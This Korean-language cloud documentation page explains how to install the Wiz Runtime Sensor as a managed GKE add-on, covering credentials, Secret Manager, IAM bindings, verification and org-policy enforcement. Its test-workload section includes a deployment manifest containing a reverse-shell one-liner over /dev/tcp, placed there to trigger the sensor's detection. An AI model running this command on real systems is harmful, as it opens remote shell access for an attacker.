GKE 클러스터에 Wiz Runtime Sensor 설치

Wiz Runtime Sensor는 런타임 워크로드에 실시간 위협 감지 및 대응 기능을 제공하는 Wiz 핵심 플랫폼의 구성요소입니다. Google Kubernetes Engine (GKE) 클러스터에 관리형 부가기능으로 Runtime Sensor를 설치할 수 있습니다. 이 문서에서는 플랫폼 관리자와 보안 엔지니어가 Runtime Sensor 부가기능을 설치하고, Wiz 플랫폼에 대한 액세스를 구성하고, 조직, 폴더 또는 프로젝트 전반에서 Runtime Sensor 설치를 적용하는 방법을 보여줍니다.

Wiz Runtime Sensor에 이미 익숙해야 합니다.

Runtime Sensor 부가기능을 사용해야 하는 경우

관리형 부가기능 설치 방법은 Helm 차트와 같은 설치 방법을 사용하여 Runtime Sensor를 설치하는 기본 제공 대안입니다. Runtime Sensor 부가기능에는 다음과 같은 이점이 있습니다.

  • GKE는 구성요소를 설치하고 대부분의 구성 작업을 관리하므로 Helm 차트를 사용하는 경우와 비교하여 Runtime Sensor를 설치하는 데 필요한 노력과 복잡성이 줄어듭니다.
  • 조직 정책 서비스를 사용하여 조직, 폴더 또는 프로젝트 전반에서 부가기능을 사용 설정하도록 요구할 수 있습니다.
  • 부가기능은 허용 목록에 Runtime Sensor를 추가하지 않고도 Autopilot 클러스터에서 실행되며 Standard 클러스터의 Autopilot 워크로드와 함께 실행됩니다.
  • Runtime Sensor 구성요소의 업데이트는 GKE 패치 버전 업그레이드와 독립적입니다.

Helm 차트를 사용하여 클러스터에 Runtime Sensor를 설치할 수도 있습니다. 이 방법을 사용하면 센서 구성을 더 유연하게 맞춤설정할 수 있습니다. 하지만 이 방법은 설치 중에 더 많은 수동 구성이 필요하며 부가기능을 사용하는 경우와 비교하여 대규모로 적용하기가 더 어렵습니다. Helm 차트를 사용하여 Runtime Sensor를 설치하면 구성요소가 GKE에서 관리되지 않습니다. GKE 부가기능을 사용하지 않는 경우 오류 또는 비호환성과 같은 Runtime Sensor 관련 문제를 Wiz에 직접 신고하세요.

작동 방식

GKE API를 사용하여 특정 클러스터에 부가기능을 설치합니다. 부가기능을 사용 설정하면 GKE는 gke-managed-wiz 네임스페이스를 만들고 Runtime Sensor 구성요소를 설치합니다. GKE는 Runtime Sensor의 이미지를 가져오기 위해 Wiz 비공개 Container Registry에 액세스해야 합니다.

설치 후 Runtime Sensor는 Wiz 플랫폼에 정보를 보내기 위해 Wiz API에 액세스해야 합니다. GKE 및 Runtime Sensor에 필요한 액세스 권한을 부여하려면 gke-managed-wiz 네임스페이스에서 다음 정보를 보안 비밀로 제공합니다.

  • Wiz Container Registry에 액세스하고 Runtime Sensor 이미지를 가져오는 사용자 인증 정보
  • Wiz API 사용자 인증 정보 및 환경별 변수와 같은 Runtime Sensor의 구성 정보

이러한 보안 비밀을 수동으로 만들거나 정보를 Cloud de Confiance by S3NS Secret Manager에 업로드할 수 있습니다. Secret Manager는 보안 비밀을 자동으로 만들고, 반복되는 일정에 따라 버전을 순환하며, 배포된 보안 비밀에 업데이트를 롤아웃합니다.

가격 책정

Wiz Runtime Sensor 부가기능은 GKE에서 추가 비용 없이 사용할 수 있습니다. 다음 고려사항이 적용됩니다.

  • 활성 Wiz Runtime Sensor 라이선스가 있어야 합니다. 자세한 내용은 Wiz 가격 책정을 참조하세요.
  • Runtime Sensor 구성요소는 노드에서 실행되며 CPU 및 메모리 리소스를 사용하므로 클러스터의 모든 포드를 수용하는 데 더 많은 노드가 필요할 수 있습니다.
  • Secret Manager를 사용하여 Wiz 사용자 인증 정보 및 구성을 저장하는 경우 Secret Manager 가격 책정이 적용됩니다.

제한사항

부가기능을 사용하는 데는 다음과 같은 제한사항이 적용됩니다.

  • 배포된 보안 비밀에서 Wiz 레지스트리 또는 API 사용자 인증 정보를 업데이트하는 경우 kubectl rollout restart 명령어를 사용하여 Runtime Sensor DaemonSet을 수동으로 다시 시작해야 합니다.
  • Runtime Sensor를 설치하려면 테넌트의 Wiz 레지스트리 사용자 인증 정보를 Kubernetes 보안 비밀로 또는 Secret Manager에 업로드해야 합니다.
  • 비공개 노드를 사용하는 경우 Cloud NAT를 사용하여 Wiz Container Registry (registry.wiz.io)에 대한 아웃바운드 액세스를 구성해야 합니다.
  • 관리형 GKE 부가기능은 Runtime Sensor의 다음과 같은 선택적 구성 매개변수만 지원합니다.
    • httpProxyConfiguration.httpsProxy
    • httpProxyConfiguration.caCertificate
    • httpProxyConfiguration.clientCertificate

다른 구성 매개변수를 사용하려면 Helm 차트를 사용하여 Runtime Sensor를 설치하세요.

시작하기 전에

시작하기 전에 다음 태스크를 수행했는지 확인합니다.

  • Google Kubernetes Engine API를 사용 설정합니다.
  • Google Kubernetes Engine API 사용 설정
  • 이 태스크에 Google Cloud CLI를 사용하려면 설치한 후 초기화합니다. gcloud CLI를 이전에 gcloud CLI를 설치했으면 최신 버전을 gcloud components update 명령어를 실행하여 가져옵니다. 이전 gcloud CLI 버전에서는 이 문서의 명령어를 실행하지 못할 수 있습니다.

필요한 역할

GKE용 Runtime Sensor 부가기능을 사용 설정하고 구성하려면 프로젝트에 다음 역할이 있어야 합니다. Cloud de Confiance

  • GKE 클러스터 구성: Kubernetes Engine 클러스터 관리자 (roles/container.clusterAdmin) 프로젝트에 대한 Cloud de Confiance
  • API 사용자 인증 정보 및 구성 파일을 Secret Manager에 업로드: Secret Manager 편집자 (roles/secretmanager.editor) 프로젝트에 대한 Cloud de Confiance
  • Runtime Sensor에서 사용하는 Kubernetes ServiceAccount에 Identity and Access Management (IAM) 역할 부여: Secret Manager 관리자 (roles/secretmanager.admin) 프로젝트에 대한 Cloud de Confiance
  • 조직 정책 구성: 조직 정책 관리자 (roles/orgpolicy.policyAdmin) 조직

또한 Wiz Container Registry의 사용자 인증 정보를 가져오고 Wiz API의 OAuth 토큰을 생성하려면 Wiz 테넌트에 액세스할 수 있어야 합니다.

Wiz 사용자 인증 정보 및 구성 파일 준비

Runtime Sensor를 설치하고 Wiz 플랫폼에 정보를 보내려면 Wiz 비공개 레지스트리 및 Wiz API에 액세스할 수 있는 사용자 인증 정보를 제공해야 합니다. 이 정보를 준비하려면 다음 단계를 따르세요.

  1. Wiz Container Registry 사용자 인증 정보 찾기 registry.wiz.io 레지스트리
  2. Kubernetes에서 파싱할 수 있는 구조로 레지스트리 사용자 인증 정보가 포함된 base64로 인코딩된 문자열을 만듭니다.

    echo -n 'WIZ_REGISTRY_USERNAME:WIZ_REGISTRY_PASSWORD' | base64 | tr -d '\n'
    

    다음을 바꿉니다.

    • WIZ_REGISTRY_USERNAME: Wiz Container Registry의 사용자 이름입니다.
    • WIZ_REGISTRY_PASSWORD: Wiz Container Registry의 비밀번호입니다.

    출력은 다음과 비슷합니다.

    aGVsbG86d29ybGQ=
    
  3. 정보를 JSON 파일로 저장합니다.

    {
      "auths": {
        "registry.wiz.io": {
          "username": "WIZ_REGISTRY_USERNAME",
          "password": "WIZ_REGISTRY_PASSWORD",
          "auth": "BASE64_ENCODED_CREDENTIALS"
        }
      }
    }
    

    BASE64_ENCODED_CREDENTIALS를 이전 단계의 인코딩된 문자열로 바꿉니다.

  4. Wiz 서비스 계정을 만들고 다음 정보를 복사합니다.

    • 클라이언트 ID. Wiz 포털의 서비스 계정 페이지에서도 찾을 수 있습니다.
    • 서비스 계정을 만들 때만 표시되는 클라이언트 보안 비밀번호
  5. Runtime Sensor의 YAML 구성 파일을 만듭니다.

    clientId: "WIZ_CLIENT_ID"
    clientToken: "WIZ_CLIENT_SECRET"
    clientEndpoint: "WIZ_CLIENT_ENDPOINT"
    

    다음을 바꿉니다.

    • WIZ_CLIENT_ID: 서비스 계정의 클라이언트 ID입니다.
    • WIZ_CLIENT_TOKEN: 서비스 계정의 클라이언트 보안 비밀번호입니다.
    • WIZ_CLIENT_ENDPOINT: 사용할 토큰 URL입니다. Wiz 테넌트에 따라 다릅니다.
  6. (선택사항) HTTP 프록시를 사용하는 경우 프록시 서버를 사용하도록 Runtime Sensor를 구성할 수 있습니다. 프록시의 YAML 구성 파일을 만듭니다.

    httpsProxy: "PROXY_URL"
    caCertificate: "CA_CERTIFICATE"
    clientCertificate: "CLIENT_CERTIFICATE"
    

    다음을 바꿉니다.

    • PROXY_URL: 정규화된 프록시 URL(예: https://proxy.example.com:8080)
    • CA_CERTIFICATE: 프록시 서버의 CA 인증서(PEM 형식) 프록시 서버에서 TLS를 사용하지 않는 경우 빈 값 ("")을 지정합니다.
    • CLIENT_CERTIFICATE: 프록시 서버의 클라이언트 인증서(PEM 형식) 프록시 서버에서 TLS를 사용하지 않는 경우 빈 값 ("")을 지정합니다.

Secret Manager에서 보안 비밀 만들기

이 섹션에서는 Secret Manager에 다양한 Wiz 구성 및 사용자 인증 정보 파일을 저장하는 방법을 보여줍니다. GKE 클러스터에서 Runtime Sensor 부가기능을 사용 설정할 때 이러한 보안 비밀의 URI를 지정할 수 있습니다. Secret Manager는 Wiz 네임스페이스에서 Kubernetes 보안 비밀을 자동으로 만듭니다. Secret Manager에서 값을 업데이트하면 Kubernetes 보안 비밀이 새 값을 사용하도록 자동으로 다시 동기화됩니다. 선택적으로 이 섹션을 건너뛰고 gke-managed-wiz 네임스페이스에서 보안 비밀을 수동으로 만들 수 있습니다.

Secret Manager에서 보안 비밀을 만들려면 다음 단계를 따르세요.

  1. Wiz 레지스트리 사용자 인증 정보를 저장합니다.

    1. Wiz 레지스트리 사용자 인증 정보를 저장할 보안 비밀을 만듭니다.

      gcloud secrets create wiz-image-pull-secret \
          --replication-policy="automatic" \
          --project="SECRET_PROJECT_ID"
      

      SECRET_PROJECT_ID를보안 비밀을 만들프로젝트의 프로젝트 ID로 바꿉니다. Cloud de Confiance

    2. wiz-image-pull-secret 보안 비밀에 Wiz 레지스트리 사용자 인증 정보를 저장합니다.

      gcloud secrets versions add wiz-image-pull-secret \
          --project="SECRET_PROJECT_ID" \
          --data-file=PATH_TO_CREDENTIALS_FILE
      

      PATH_TO_CREDENTIALS_FILE을 Wiz 레지스트리 사용자 인증 정보가 포함된 JSON 파일의 경로로 바꿉니다.

  2. Runtime Sensor API 사용자 인증 정보를 저장합니다.

    1. Runtime Sensor API 사용자 인증 정보를 저장할 보안 비밀을 만듭니다.

      gcloud secrets create wiz-api-key-secret \
          --replication-policy="automatic" \
          --project="SECRET_PROJECT_ID"
      
    2. wiz-api-key-secret 보안 비밀에 Runtime Sensor API 사용자 인증 정보를 저장합니다.

      gcloud secrets versions add wiz-api-key-secret \
          --project="SECRET_PROJECT_ID" \
          --data-file=PATH_TO_CONFIG_FILE
      

      PATH_TO_CONFIG_FILE을 Runtime Sensor API 사용자 인증 정보가 포함된 YAML 파일의 경로로 바꿉니다.

  3. (선택사항) 프록시의 구성 정보를 저장합니다.

    1. 프록시 서버 구성을 저장할 보안 비밀을 만듭니다.

      gcloud secrets create wiz-sensor-proxy-secret \
          --replication-policy="automatic" \
          --project="SECRET_PROJECT_ID"
      
    2. wiz-sensor-proxy-secret 보안 비밀에 프록시 서버 구성을 저장합니다.

      gcloud secrets versions add wiz-sensor-proxy-secret \
          --project="SECRET_PROJECT_ID" \
          --data-file=PATH_TO_PROXY_FILE
      

      PATH_TO_PROXY_FILE을 프록시 구성 매개변수가 포함된 YAML 파일의 경로로 바꿉니다.

GKE에 Secret Manager 액세스 권한 부여

Secret Manager의 정보를 Kubernetes 보안 비밀로 동기화하려면 만든 보안 비밀에 대한 Secret Manager 보안 비밀 접근자 (roles/secretmanager.secretAccessor) IAM 역할을 gke-managed-wiz 네임스페이스의 wiz-sensor-secretsync-sa Kubernetes ServiceAccount에 부여합니다. 클러스터에서 Runtime Sensor 부가기능을 사용 설정하면 GKE는 이 ServiceAccount를 만들고 ServiceAccount ID를 사용하여 네임스페이스에 해당 보안 비밀을 만듭니다. Secret Manager를 사용하는 대신 보안 비밀을 수동으로 만들려면 이 섹션을 건너뛰세요.

다음 단계에서는 필요한 역할을 부여하는 방법을 보여줍니다.

  1. 클러스터 프로젝트의 프로젝트 번호를 확인합니다.

    gcloud projects describe CLUSTER_PROJECT_ID --format='value(projectNumber)'
    

    출력은 1234567890과 비슷합니다.

  2. wiz-image-pull-secret 보안 비밀에 역할을 부여합니다.

    gcloud secrets add-iam-policy-binding wiz-image-pull-secret \
        --project=SECRET_PROJECT_ID \
        --role="roles/secretmanager.secretAccessor" \
        --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.s3ns.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
    

    다음을 바꿉니다.

    • SECRET_PROJECT_ID: 보안 비밀이 포함된 프로젝트의 프로젝트 ID입니다.
    • CLUSTER_PROJECT_NUMBER: 클러스터 프로젝트의 프로젝트 번호입니다.
    • CLUSTER_PROJECT_ID: 클러스터 프로젝트의 프로젝트 ID입니다.
  3. wiz-api-key-secret 보안 비밀에 역할을 부여합니다.

    gcloud secrets add-iam-policy-binding wiz-api-key-secret \
        --project=SECRET_PROJECT_ID \
        --role="roles/secretmanager.secretAccessor" \
        --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.s3ns.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
    
  4. (선택사항) HTTP 프록시 정보가 포함된 보안 비밀을 만든 경우 wiz-sensor-proxy-secret 보안 비밀에 역할을 부여합니다.

    gcloud secrets add-iam-policy-binding wiz-sensor-proxy-secret \
        --project=SECRET_PROJECT_ID \
        --role="roles/secretmanager.secretAccessor" \
        --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.s3ns.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
    

GKE용 Runtime Sensor 부가기능 사용 설정

Secret Manager에서 보안 비밀을 만들고 보안 비밀에 필요한 역할을 GKE에 부여한 후 클러스터의 Runtime Sensor 부가기능을 사용 설정합니다. 새 Standard 또는 Autopilot 클러스터 또는 기존 Standard 또는 Autopilot 클러스터에서 부가기능을 사용 설정할 수 있습니다. 다음 단계에서는 기존 클러스터에서 부가기능을 사용 설정하고 보안 비밀 동기화를 구성하는 방법을 보여줍니다. 클러스터를 만드는 동안 이러한 플래그를 사용할 수도 있습니다.

  1. 기존 클러스터의 보안 비밀 동기화를 사용 설정합니다. Secret Manager를 사용하는 대신 보안 비밀을 수동으로 만들려면 이 단계를 건너뛰세요.

    gcloud container clusters update CLUSTER_NAME \
        --project=CLUSTER_PROJECT_ID \
        --location=CONTROL_PLANE_LOCATION \
        --enable-secret-sync --enable-secret-sync-rotation
    

    다음을 바꿉니다.

    • CLUSTER_NAME: 클러스터 이름입니다.
    • CLUSTER_PROJECT_ID: 클러스터 프로젝트의 프로젝트 ID입니다.
    • CONTROL_PLANE_LOCATION: 클러스터의 컨트롤 플레인 위치입니다.
  2. 다음 명령어 중 하나를 실행하여 부가기능을 사용 설정합니다. Secret Manager를 사용하는 대신 보안 비밀을 수동으로 만들려면 이러한 명령어에서 --addons 플래그만 지정하세요.

    • HTTP 프록시를 구성하지 않고 부가기능을 사용 설정합니다.

      gcloud container clusters update CLUSTER_NAME \
          --project=CLUSTER_PROJECT_ID \
          --location=CONTROL_PLANE_LOCATION \
          --update-addons=WizSensor=ENABLED \
          --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \
          --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest
      
    • 부가기능을 사용 설정하고 HTTP 프록시를 구성합니다.

      gcloud container clusters update CLUSTER_NAME \
          --project=CLUSTER_PROJECT_ID \
          --location=CONTROL_PLANE_LOCATION \
          --update-addons=WizSensor=ENABLED \
          --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \
          --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest \
          --wiz-sensor-proxy-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-sensor-proxy-secret/versions/latest
      

설치 확인

부가기능 설치를 확인하려면 다음 단계를 따르세요.

  1. 클러스터에서 kubectl 명령어를 실행할 사용자 인증 정보를 가져옵니다.

    gcloud container clusters get-credentials CLUSTER_NAME \
        --location=CONTROL_PLANE_LOCATION \
        --project=CLUSTER_PROJECT_ID
    
  2. gke-managed-wiz 네임스페이스가 있는지 확인합니다.

    kubectl get namespace gke-managed-wiz
    

    출력은 다음과 비슷합니다.

    NAME              STATUS   AGE
    gke-managed-wiz   Active   76s
    
  3. 네임스페이스에 Secret Manager 커스텀 리소스가 있는지 확인합니다.

    kubectl get secretproviderclass --namespace=gke-managed-wiz
    kubectl get secretsync --namespace=gke-managed-wiz
    

    출력은 다음과 비슷합니다.

    NAME                          AGE
    wiz-sensor-secrets-provider   76s
    wiz-sensor-apikey             76s
    wiz-sensor-imagepullkey       75s
    wiz-sensor-proxy              76s
    
  4. Kubernetes 보안 비밀이 있는지 확인합니다.

    kubectl get secrets --namespace=gke-managed-wiz
    

    출력은 다음과 비슷합니다.

    NAME                      TYPE                              DATA   AGE
    wiz-sensor-apikey         Opaque                            3      76s
    wiz-sensor-imagepullkey   kubernetes.io/dockerconfigjson    1      75s
    
  5. Runtime Sensor DaemonSet의 상태를 확인합니다.

    kubectl get daemonset --namespace=gke-managed-wiz
    

    출력은 다음과 비슷합니다.

    NAME        DESIRED   CURRENT   READY   UP-TO-DATE   AVAILABLE   NODE SELECTOR   AGE
    wiz-sensor  1         1         1       1            1           <none>          76s
    

    이 출력은 Runtime Sensor가 준비되어 있고 사용 가능함을 나타냅니다.

  6. Runtime Sensor 포드의 시작 및 연결 로그를 확인합니다.

    kubectl logs -n gke-managed-wiz daemonset/wiz-sensor --tail=100
    

    출력은 다음과 비슷합니다.

    {"fields":{"defs_commit":"","defs_version":"0.0.0","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:32.982+00:00"}
    {"fields":{"message":"starting content update"},"level":"INFO","timestamp":"2026-09-24T17:06:33.304+00:00"}
    {"fields":{"message":"ending content update - new content downloaded"},"level":"INFO","timestamp":"2026-09-24T17:06:34.215+00:00"}
    {"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:34.372+00:00"}
    {"fields":{"env":{"ALLOWED_CONTROLLER_API_GROUPS":"[\"\",\"apps\",\"batch\",\"argoproj.io\",\"sparkoperator.k8s.io\",\"ray.io\",\"tekton.dev\",\"composer.cloud.google.com\",\"kafka.strimzi.io\",\"actions.github.com\"]","ALLOW_KUBELET_COMMUNICATION":"false","BACKEND_ENV":"prod","CRI_SOCKET_CUSTOM_PATH":"","HELM_CHART_COMPAT_VER":"1","HELM_CHART_VERSION":"1.0.11492","HTTP_PROXY_URL":"","JSON":"true","LOG_FILE":"/wiz-sensor-store/sensor.log","RAMFS_STORE":"/tmp/","SENSOR_CLUSTER_NAME":"CLUSTER_NAME","STDOUT_LOG":"error","TMP_STORE":"/wiz-sensor-store/"},"hash":"daa946af4dd7eb728495e752bb35399749ad2c2c","message":"Wiz Sensor env config"},"level":"INFO","timestamp":"2026-09-24T17:09:24.844+00:00"}
    {"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:09:25.249+00:00"}
    {"fields":{"major":6,"message":"kernel version","minor":12,"patch":94},"level":"INFO","timestamp":"2026-09-24T17:09:25.277+00:00"}
    {"fields":{"delay":{"nanos":0,"secs":0},"message":"sensor start delay secs","range":0},"level":"INFO","timestamp":"2026-09-24T17:09:34.994+00:00"}
    

테스트 워크로드 배포

Wiz 포털에 대한 연결이 작동하는지 확인하려면 다음 단계를 따르세요.

  1. 다음 배포 매니페스트를 YAML 파일로 저장합니다.

    apiVersion: apps/v1
    kind: Deployment
    metadata:
      name: demo-nginx
      namespace: default
    spec:
      replicas: 1
      selector:
        matchLabels:
          app: demo-nginx
      template:
        metadata:
          labels:
            app: demo-nginx
        spec:
          containers:
          - name: nginx
            image: nginx:1.15.6
            command: ["/bin/bash", "-c"]
            args:
            - |
              # Trigger background reverse shell attempt
              (timeout 5 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1) &
              # Trigger image drift file modification
              touch /usr/bin/malicious_test_file
              # Start Nginx
              exec nginx -g "daemon off;"
            ports:
            - containerPort: 80
    

    이 배포는 리버스 셸 공격을 시뮬레이션하는 포드를 만듭니다.

  2. 배포를 만듭니다.

    kubectl apply -f PATH_TO_MANIFEST
    

    PATH_TO_MANIFEST를 배포 매니페스트 파일의 경로로 바꿉니다.

  3. Wiz 포털에서 위협 페이지로 이동합니다.

  4. 위협 테이블에서 리버스 셸 시도에 대한 위협 발견 사항을 찾습니다.

조직 정책을 사용하여 부가기능 설치 적용

조직 정책을 사용하여 조직, 폴더 또는 프로젝트 전반의 여러 클러스터에서 Runtime Sensor 부가기능 설치를 적용할 수 있습니다. 다음 속성이 있는 커스텀 제약 조건을 만듭니다.

  • 리소스: container.googleapis.com/Cluster
  • 조건: resource.addonsConfig.wizSensor.enabled == false
  • 작업: DENY

이러한 속성이 있는 커스텀 제약 조건을 구성하는 방법에 대한 자세한 내용은 커스텀 조직 정책을 사용하여 GKE 리소스에 대한 작업 제한을 참조하세요.

다음 단계